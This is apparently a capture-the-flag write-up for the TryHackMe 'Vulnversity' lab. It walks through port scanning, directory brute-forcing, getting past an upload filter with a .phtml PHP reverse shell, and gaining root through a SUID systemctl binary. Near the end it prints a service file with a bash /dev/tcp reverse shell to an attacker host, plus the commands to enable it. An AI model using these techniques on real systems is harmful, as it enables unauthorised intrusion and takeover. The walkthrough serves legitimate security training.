TryHackMe - Vulnversity

Learn about active recon, web app attacks and privilege escalation

Cover Image by BiZkettE1 on Freepik

Task 1: Deploy the machine

Connect to our network and deploy this machine. If you are unsure of how to get connected, complete the OpenVPN room first.

  1. Deploy the machine

No answer required

Task 2: Reconnaissance

Our first task is to scan the machine and find services that are running on various ports. For this, we make use of Nmap

Follow the write-up on “Vulnversity” for more information on the various options (flags) that are provided by Nmap.

  1. There are many Nmap “cheatsheets” online that you can use too.

No answer required

  1. Scan the box, how many ports are open?

Nmap Scan Results

Command Options

  • -sS: Stealth Scan (SYN Scan)
  • -sV: Service Versioning
  • -T4: Timing Template (Aggressive)
  • -p-: Scan all Ports
  • -vv: Very Verbose Output
  • -oN: Savve output in Normal Format

Looking at the scan results we can see that 6 services are running on ports 21, 22, 139, 445, 3128 and 3333.


  1. What version of the squid proxy is running on the machine?

Looking at the output from the scan the version is 3.5.12


  1. How many ports will Nmap scan if the flag -p-400 was used?
  • -p-: All Ports
  • -p 21,22: Scan ports 21 and 22
  • -p10-100: Scan ports from 10 to 100
  • -p1000-: Scan all ports starting from 1000

From the above logic, we can say that -p-400 would mean all ports till 400 (i.e. 1 to 400)


  1. Using the Nmap flag -n what will it not resolve?

Looking at the Manual for Nmap we can see that -n stands for don’t resolve DNS.

nmap(1) - Linux man page

Nmap Options


  1. What is the most likely operating system this machine is running?

Looking at the Nmap scan results we can see that the services running on port 22 and port 3333 are saying that they are running on Ubuntu

Note: We can run a Nmap scan using the -O flag (OS Detection) to find the operating system as well.


  1. What port is the web server running on?

From the scan results we see on port 3333, there is a service (Apache httpd) that is using the HTTP protocol.


  1. It’s important to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of exploitation) is very important, don’t forget that ports on a higher range might be open so always scan ports after 1000 (even if you leave scanning in the background)

No answer required

Task 3: Locating directories using GoBuster

Since we know that there is a web server running on the system let’s open the link in the browser and see what we get.

Site Landing Page

We see a website for “Vuln University”. We could see if the website has a robots.txt file (which it doesn’t) and look through the CSS styles sheets that are loaded to look for other pages that might be available on the website (found nothing).

Our next task should be to find hidden directories/pages on the website. For this, we use gobuster which is a tool used to brute force the directories that could be present on a website.

Read the write-up on the “Vulnversity” page for more information on the options (flags) that are provided by gobuster and how they are used.

Gobuster Results

Command Options

  • dir: Brute Force Directories and Pages
  • -u: Target URL
  • -x: File extensions to find
  • -w: Wordlist to use for brute forcing
  • -t: Threads to use (Make brute forcing faster)

Note: The 2> /dev/null at the end of the command is used to redirect any errors that might occur during the brute forcing process to the null device (NULL is a special device on Linux that will delete whatever data is sent into it)

No answer required

  1. What is the directory that has an upload form page?

Looking at the scan results we see that a directory called “internal” was found. When we open that path we see a page that looks like it used to upload files.

App Upload Page


Task 4: Compromise the webserver

Let’s try uploading files of various formats to see if any of them are blocked. On uploading a TXT file we get the message “Extension not allowed”.

Upload TXT File

If we have to set up a reverse shell using the upload field then we should be able to upload PHP files. So next let’s try uploading a PHP file and see what output we get.

Upload PHP File

  1. Try uploading a few file types to the server, what common extension seems to be blocked?


We see that even PHP files are not allowed. PHP code can be saved with various file extensions like (.php3, .php4, .phtml etc.) so we could try and see if any of them can pass the filter used on the upload function.

Doing this testing manually is going to be a tedious process so for automating the process we can make use of Burpsuite which is a tool that lets us capture web requests and manipulate their values.

No answer required

Let’s create a file that consists of all the formats that we are going to test the upload function against.

List of Extensions to Test

Open Burpsuite enable the Burp Proxy in the browser, upload a file and capture this request in Burp. Forward the captured request to Intruder where we can fuzz the various file extensions.

Note: For information on how to use Burp and the various features that are provided by the tool refer to the following video.

Burpsuite Basics (FREE Community Edition) - YouTube

Burpsuite Intruder

In Intruder click on “Clear” to clear all the pre-selected fields and then highlight the file format of the file in the filename field and click on “Add”.

Burpsuite Intruder Options

In the Payloads tabs under Payload Options upload the file that we created that consists of the formats that we want to fuzzy. Under Payload Encoding, ensure to Uncheck the “URL-encode these characters” fields as it will cause the “.” in the file extension to be encoded. Once the settings are set click on “Start Attack”

Burpsuite Intruder Results

When we look at the output of the Intruder attack we see the length of the response for the .phtml extension is smaller than the other so let’s select that request and have a look at the response we see that we were able to successfully upload the file with “.phtml” extension.

  1. Run this attack, what extension is allowed?


Now that we know what we can upload PHP files let’s upload a PHP reverse shell script. The reverse shell script can be downloaded from the following link :

php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub

Download the .php script and edit the line in the file where we need to specify the IP Address of our (attacker) device and the Port Number.

PHP Exploit Settings

Save the script with the .phtml extension and upload the file on the Upload page.

Upload PHTML File

Once uploaded we need to set up and listener on our system this can be done using Netcat.

netcat -nvlp 1234

Once set up visit the following link in the browser and load the script.


Executing Exploit

Setting Up Reverse Shell

If done correctly we should get access to the system

No answer required

  1. What is the name of the user who manages the webserver?

Username on Target System


  1. What is the user flag?


Task 5: Privilege Escalation

Now you have compromised this machine, we are going to escalate our privileges and become the superuser (root).

One of the methods to achieve this is to exploit the files on the system that have the SUID bit set. Read the write-up on the “Vulnversity” page for more information or refer to the link given below.

How to Find Files With SUID and SGID Permissions in Linux

  1. On the system, search for all SUID files. What file stands out?

Searching for Exploitable Files

Command Options

  • -type f: Look only for files
  • -user root: The owner of the file should be the root user
  • -perm 4000: The file should have at minimum the SUID bit set
  • -exec: Execute another command on the output of find command
  • ls -l {} +: List all the files found by find in long format ({} is a placeholder for the location where the find command results will be substituted. The + at the end is used to terminate the command)

Looking at the output we see the systemctl command that is used to run various services on the system. Since this executable has the SUID bit set if we execute a command using systemctl we should get root privileges for that command.


Whenever we need to exploit a binary that is present on the system we should visit GTOBins to see if there is a simple way to exploit the service.


When we look at the systemctl binary file we can see there are instructions on how to exploit the service if the SUID bit is set.

GTFOBins Exploit

Code Explained

  • Create a file with the extension .service
  • Add the information that is required to create a basic service file (Service files are files that are used by systemctl for executing various tasks on the system)
  • Execute the new service file we created by using the “link” and “enable” commands provided by “systemctl”

When we look at the contents that are written into the .service file we see that there is a line called ExecStart that specifies what command to run when the service is started. So we can change this line to read the contents of the /root/root.txt file and save it into a file in the current working directory.

How to create systemd service unit in Linux - Linux Tutorials - Learn Linux Configuration

systemd unit file creating a service

Create a simple systemd service unit file and run a script on boot | Support | SUSE

Why do most systemd examples contain - Unix & Linux Stack Exchange

First, let’s find out the directories on the system where we have permission to create files.

Finding Writable Directories

Let’s use the “/var/tmp” directory for all the operations from here on out.

Finding Flag on System

Once we run the service we see a file is created in our current directory and when we cat its contents we are given the flag for the root user.


Note: An alternate approach to getting root privileges would be to create a service file that would start a reverse shell which we could connect to using a listener on our system and then capture the flag.

The script service file for this approach would look as follows:

[Service]Type=simpleUser=rootExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<kali-ip-address>/9999 0>&1'[Install]

And we could run the service file using the following commands:

/bin/systemctl enable /var/tmp/root.service/bin/systemctl start root

That’s all. Happy Hacking :)

This post is licensed under CC BY 4.0 by the author.